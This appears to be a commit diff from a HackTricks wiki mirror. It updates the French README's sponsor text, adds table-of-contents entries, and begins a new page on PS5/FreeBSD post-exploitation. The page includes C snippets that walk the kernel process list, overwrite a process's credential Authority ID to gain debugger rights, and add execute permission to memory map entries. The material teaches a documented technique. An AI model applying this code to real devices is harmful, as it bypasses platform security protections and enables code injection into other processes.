mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/blockchain/smart-contract-security/mutation-testing-wit
This commit is contained in:
parent
aac816765f
commit
89740ec067
File diff suppressed because one or more lines are too long
108
src/README.md
108
src/README.md
@ -2,9 +2,9 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Logo et design animé de Hacktricks par_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks logos et motion design par_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)._
|
||||
|
||||
### Exécuter HackTricks Localement
|
||||
### Exécuter HackTricks localement
|
||||
```bash
|
||||
# Download latest version of hacktricks
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Votre copie locale de HackTricks sera **disponible à [http://localhost:3337](http://localhost:3337)** après <5 minutes (il faut construire le livre, soyez patient).
|
||||
Votre copie locale de HackTricks sera **available at [http://localhost:3337](http://localhost:3337)** après moins de 5 minutes (il doit construire le livre, soyez patient).
|
||||
|
||||
## Sponsors d'entreprise
|
||||
## Sponsors Corporatifs
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils réalisent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services cybersécurité de grande valeur** tels que pentesting, Red teams et formations.
|
||||
|
||||
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** soutient également des projets open source en cybersécurité comme HackTricks :)
|
||||
**STM Cyber** soutient aussi des projets open source en cybersécurité comme HackTricks :)
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +51,7 @@ Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://b
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus influents en **Europe**. Avec **la mission de promouvoir le savoir-faire technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité de toutes disciplines.
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** est la **première plateforme** de hacking éthique et de **bug bounty en Europe.**
|
||||
**Intigriti** est la plateforme de bug bounty n°1 en Europe et dédiée à l'ethical hacking.
|
||||
|
||||
**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous à [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Bug bounty tip** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de bug bounty créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes jusqu'à **$100,000** !
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** propulsés par les outils communautaires les **plus avancés** au monde.
|
||||
|
||||
Accédez dès aujourd'hui :
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour échanger avec des hackers expérimentés et des chasseurs de bug bounty !
|
||||
|
||||
- **Aperçus de hacking :** Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
- **Actualités de hacking en temps réel :** Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
- **Dernières annonces :** Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
- **Hacking Insights :** Participez à du contenu qui explore l'excitation et les défis du hacking
|
||||
- **Real-Time Hack News :** Restez à jour avec l'actualité du monde du hacking en temps réel
|
||||
- **Latest Announcements :** Soyez informé des derniers bug bounties lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec des hackers de haut niveau dès aujourd'hui !
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - L'outil essentiel de test de pénétration
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
**Obtenez le point de vue d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables avec un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact réel sur l'entreprise.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, détecter des problèmes de sécurité permettant une escalation de privilèges, et utiliser des exploits automatisés pour collecter des preuves essentielles, transformant votre travail en rapports convaincants.
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** propose des API en temps réel rapides et faciles pour **accéder aux résultats des moteurs de recherche**. Ils extraient des moteurs de recherche, gèrent des proxies, résolvent des captchas et analysent toutes les données structurées riches pour vous.
|
||||
**SerpApi** propose des APIs rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils scrappent les moteurs de recherche, gèrent les proxies, résolvent les captchas et parsèment toutes les données structurées riches pour vous.
|
||||
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances, et d'autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 APIs différentes pour scraper différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne scrappe pas seulement les résultats organiques**. Les réponses SerpApi incluent systématiquement toutes les publicités, images et vidéos en ligne, knowledge graphs et autres éléments présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify, et GrubHub**.\
|
||||
Parmi les clients actuels de SerpApi figurent **Apple, Shopify, et GrubHub**.\
|
||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
|
||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
---
|
||||
|
||||
### [8kSec Academy – Cours de sécurité mobile approfondis](https://academy.8ksec.io/)
|
||||
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Apprenez les technologies et compétences nécessaires pour effectuer des recherches de vulnérabilités, des tests de pénétration et de l'ingénierie inverse pour protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
|
||||
Apprenez les technologies et compétences requises pour mener des recherches de vulnérabilités, du penetration testing et du reverse engineering afin de protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
||||
[**WebSec**](https://websec.net) est une société professionnelle de cybersécurité basée à **Amsterdam** qui aide à **protéger** des entreprises **dans le monde entier** contre les menaces de cybersécurité les plus récentes en fournissant des **offensive-security services** avec une approche **moderne**.
|
||||
|
||||
WebSec est une entreprise de sécurité internationale avec des bureaux à Amsterdam et Wyoming. Ils offrent des **services de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de sécurité, Formations de sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
WebSec est une société de sécurité internationale avec des bureaux à Amsterdam et Wyoming. Ils offrent des **all-in-one security services**, ce qui signifie qu'ils couvrent tout : Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing et bien plus.
|
||||
|
||||
Une autre chose intéressante à propos de WebSec est que, contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, comme indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.net/en/) et [**blog**](https://websec.net/blog/) !
|
||||
Autre point positif concernant WebSec : contrairement à la moyenne du secteur, WebSec a **une grande confiance en ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats**, comme indiqué sur leur site : "**If we can't hack it, You don't pay it!**". Pour plus d'infos, consultez leur [**website**](https://websec.net/en/) et leur [**blog**](https://websec.net/blog/) !
|
||||
|
||||
En plus de cela, WebSec est également un **soutien engagé de HackTricks.**
|
||||
En plus de ce qui précède, WebSec est également un **sponsor engagé de HackTricks.**
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) est un moteur de recherche de violations de données (leak). \
|
||||
Nous fournissons une recherche de chaînes aléatoires (comme google) sur tous les types de fuites de données, grandes et petites --pas seulement les grandes-- provenant de multiples sources. \
|
||||
Recherche de personnes, recherche AI, recherche d'organisations, accès API (OpenAPI), intégration theHarvester, toutes les fonctionnalités dont un pentester a besoin.\
|
||||
**HackTricks continue d'être une excellente plateforme d'apprentissage pour nous tous et nous sommes fiers de le sponsoriser !**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) est un moteur de recherche de data breach (leak). \
|
||||
Nous offrons une recherche par chaîne aléatoire (comme google) sur tous types de data leaks, grands et petits --pas seulement les gros-- sur des données issues de multiples sources. \
|
||||
Recherche de personnes, recherche AI, recherche d'organisations, API (OpenAPI) access, intégration theHarvester, toutes les fonctionnalités dont un pentester a besoin.\
|
||||
**HackTricks reste une excellente plateforme d'apprentissage pour nous tous et nous sommes fiers de la sponsoriser !**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||
|
||||
**Conçu pour le terrain. Conçu autour de vous.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) développe et propose une formation en cybersécurité efficace, construite et dirigée par des experts de l'industrie. Leurs programmes vont au-delà de la théorie pour équiper les équipes d'une compréhension approfondie et de compétences exploitables, en utilisant des environnements personnalisés qui reflètent les menaces du monde réel. Pour des demandes de formation personnalisée, contactez-nous [**ici**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
|
||||
**Ce qui distingue leur formation :**
|
||||
* Contenu et laboratoires sur mesure
|
||||
* Soutenus par des outils et plateformes de premier plan
|
||||
* Conçus et enseignés par des praticiens
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) conçoit et délivre des formations en cybersécurité efficaces, construites et animées par des experts du secteur. Leurs programmes vont au-delà de la théorie pour doter les équipes d'une compréhension approfondie et de compétences opérationnelles, en utilisant des environnements personnalisés reflétant des menaces réelles. Pour des demandes de formation sur mesure, contactez-nous [**ici**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
|
||||
**Ce qui distingue leurs formations :**
|
||||
* Contenu et labs personnalisés
|
||||
* Soutenu par des outils et plateformes de premier plan
|
||||
* Conçu et enseigné par des praticiens
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -198,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions fournit des services de cybersécurité spécialisés pour les institutions **d'éducation** et **FinTech**, avec un accent sur **les tests de pénétration, les évaluations de sécurité cloud**, et **la préparation à la conformité** (SOC 2, PCI-DSS, NIST). Notre équipe comprend des **professionnels certifiés OSCP et CISSP**, apportant une expertise technique approfondie et un aperçu des normes de l'industrie à chaque engagement.
|
||||
Last Tower Solutions fournit des services cybersécurité spécialisés pour les institutions de **Education** et **FinTech**, avec un focus sur le **penetration testing, cloud security assessments**, et la **préparation à la conformité** (SOC 2, PCI-DSS, NIST). Notre équipe inclut des professionnels certifiés **OSCP et CISSP**, apportant une expertise technique approfondie et des connaissances conformes aux standards du secteur à chaque mission.
|
||||
|
||||
Nous allons au-delà des analyses automatisées avec des **tests manuels, guidés par l'intelligence**, adaptés à des environnements à enjeux élevés. De la sécurisation des dossiers étudiants à la protection des transactions financières, nous aidons les organisations à défendre ce qui compte le plus.
|
||||
Nous allons au-delà des scans automatisés avec des **tests manuels, basés sur le renseignement**, adaptés à des environnements à enjeux élevés. De la sécurisation des dossiers étudiants à la protection des transactions financières, nous aidons les organisations à défendre ce qui compte le plus.
|
||||
|
||||
_“Une défense de qualité nécessite de connaître l'attaque, nous fournissons la sécurité par la compréhension.”_
|
||||
_« Une défense de qualité nécessite de connaître l'offensive, nous apportons la sécurité par la compréhension. »_
|
||||
|
||||
Restez informé et à jour avec les dernières nouvelles en cybersécurité en visitant notre [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
Restez informé des dernières actualités en cybersécurité en visitant leur [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -212,7 +213,22 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
---
|
||||
|
||||
## Licence & Avertissement
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE permet aux DevOps, DevSecOps et développeurs de gérer, surveiller et sécuriser efficacement les clusters Kubernetes. Profitez de nos insights pilotés par l'IA, d'un framework de sécurité avancé et de l'interface CloudMaps GUI pour visualiser vos clusters, comprendre leur état et agir en toute confiance.
|
||||
|
||||
De plus, K8Studio est **compatible avec toutes les distributions kubernetes majeures** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
---
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
Consultez-les dans :
|
||||
|
||||
@ -220,7 +236,7 @@ Consultez-les dans :
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## Statistiques Github
|
||||
## Github Stats
|
||||
|
||||

|
||||
|
||||
|
@ -59,6 +59,7 @@
|
||||
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
|
||||
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
@ -82,6 +83,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
@ -102,6 +104,7 @@
|
||||
|
||||
# 🐧 Linux Hardening
|
||||
|
||||
- [Linux Basics](linux-hardening/linux-basics.md)
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
@ -570,6 +573,7 @@
|
||||
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
|
||||
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
@ -587,6 +591,7 @@
|
||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
@ -843,6 +848,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
|
@ -0,0 +1,183 @@
|
||||
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
|
||||
Cette page documente une technique pratique d'injection de processus/ELF usermode Unix/BSD sur PlayStation 5 (PS5), basée sur FreeBSD. La méthode se généralise aux dérivés FreeBSD lorsque vous disposez déjà de primitives de lecture/écriture du kernel (R/W). Vue d'ensemble :
|
||||
|
||||
- Patchez les credentials du processus courant (ucred) pour accorder l'autorité de debugger, permettant ptrace/mdbg sur des processus utilisateur arbitraires.
|
||||
- Trouvez les processus cibles en parcourant la liste kernel allproc.
|
||||
- Contournez les restrictions PROT_EXEC en basculant vm_map_entry.protection |= PROT_EXEC dans le vm_map de la cible via des écritures de données kernel.
|
||||
- Utilisez ptrace pour effectuer Remote Function Invocation (RFI) : suspendre un thread, régler les registres pour appeler des fonctions arbitraires dans la cible, reprendre, récupérer les valeurs de retour et restaurer l'état.
|
||||
- Mappez et exécutez des payloads ELF arbitraires dans la cible en utilisant un ELF loader in-process, puis créez un thread dédié qui exécute votre payload et déclenche un breakpoint pour détacher proprement.
|
||||
|
||||
Mitigations hyperviseur PS5 à noter (contextualisées pour cette technique) :
|
||||
- XOM (execute-only .text) empêche la lecture/écriture du .text kernel.
|
||||
- Réinitialiser CR0.WP ou désactiver CR4.SMEP provoque un vmexit hyperviseur (crash). Seules les écritures kernel affectant uniquement les données sont viables.
|
||||
- Le mmap en userland est restreint à PROT_READ|PROT_WRITE par défaut. L'attribution de PROT_EXEC doit être faite en éditant les entrées vm_map dans la mémoire kernel.
|
||||
|
||||
Cette technique est post-exploitation : elle suppose l'existence de primitives R/W kernel issues d'une chaîne d'exploit. Des payloads publics démontrent cela jusqu'au firmware 10.01 au moment de la rédaction.
|
||||
|
||||
## Primitives kernel 'data-only'
|
||||
|
||||
### Découverte des processus via allproc
|
||||
|
||||
FreeBSD maintient une liste doublement chaînée de processus dans .data du kernel à allproc. Avec une primitive de lecture kernel, itérez-la pour localiser les noms de processus et les PIDs:
|
||||
```c
|
||||
struct proc* find_proc_by_name(const char* proc_name){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||||
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||||
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||||
} while (next);
|
||||
free(proc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void list_all_proc_and_pid(){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||||
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||||
kernel_copyout(next, &next, sizeof(uint64_t));
|
||||
} while (next);
|
||||
free(proc);
|
||||
}
|
||||
```
|
||||
Notes:
|
||||
- KERNEL_ADDRESS_ALLPROC dépend du firmware.
|
||||
- p_comm est un nom de taille fixe ; envisagez des recherches pid->proc si nécessaire.
|
||||
|
||||
### Élever les credentials pour le débogage (ucred)
|
||||
|
||||
Sur PS5, struct ucred contient un champ Authority ID accessible via proc->p_ucred. Écrire l'Authority ID du debugger accorde ptrace/mdbg sur d'autres processus:
|
||||
```c
|
||||
void set_ucred_to_debugger(){
|
||||
struct proc* proc = get_proc_by_pid(getpid());
|
||||
if (proc){
|
||||
uintptr_t authid = 0; // read current (optional)
|
||||
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||||
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||||
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||||
free(proc);
|
||||
}
|
||||
}
|
||||
```
|
||||
- L'offset 0x58 est spécifique à la famille de firmware PS5 et doit être vérifié par version.
|
||||
- Après cette écriture, l'injecteur peut attacher et instrumenter les processus utilisateur via ptrace/mdbg.
|
||||
|
||||
## Contournement des mappings RW-only utilisateur : vm_map PROT_EXEC flip
|
||||
|
||||
Le Userland mmap peut être contraint à PROT_READ|PROT_WRITE. FreeBSD suit l'espace d'adressage d'un processus dans un vm_map de nœuds vm_map_entry (BST plus liste). Chaque entrée porte les champs protection et max_protection :
|
||||
```c
|
||||
struct vm_map_entry {
|
||||
struct vm_map_entry *prev,*next,*left,*right;
|
||||
vm_offset_t start, end, avail_ssize;
|
||||
vm_size_t adj_free, max_free;
|
||||
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||||
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||||
int wired_count; vm_pindex_t lastr;
|
||||
};
|
||||
```
|
||||
Avec kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Remarques pratiques d'implémentation :
|
||||
- Parcourez les entrées soit linéairement via next, soit en utilisant le balanced-tree (left/right) pour une recherche en O(log n) par plage d'adresses.
|
||||
- Choisissez une région RW connue que vous contrôlez (scratch buffer ou mapped file) et ajoutez PROT_EXEC pour pouvoir y placer du code ou des loader thunks.
|
||||
- Le code PS5 SDK fournit des helpers pour la recherche rapide de map-entry et le basculement des protections.
|
||||
|
||||
Cela contourne la politique mmap de l'userland en modifiant directement les métadonnées appartenant au kernel.
|
||||
|
||||
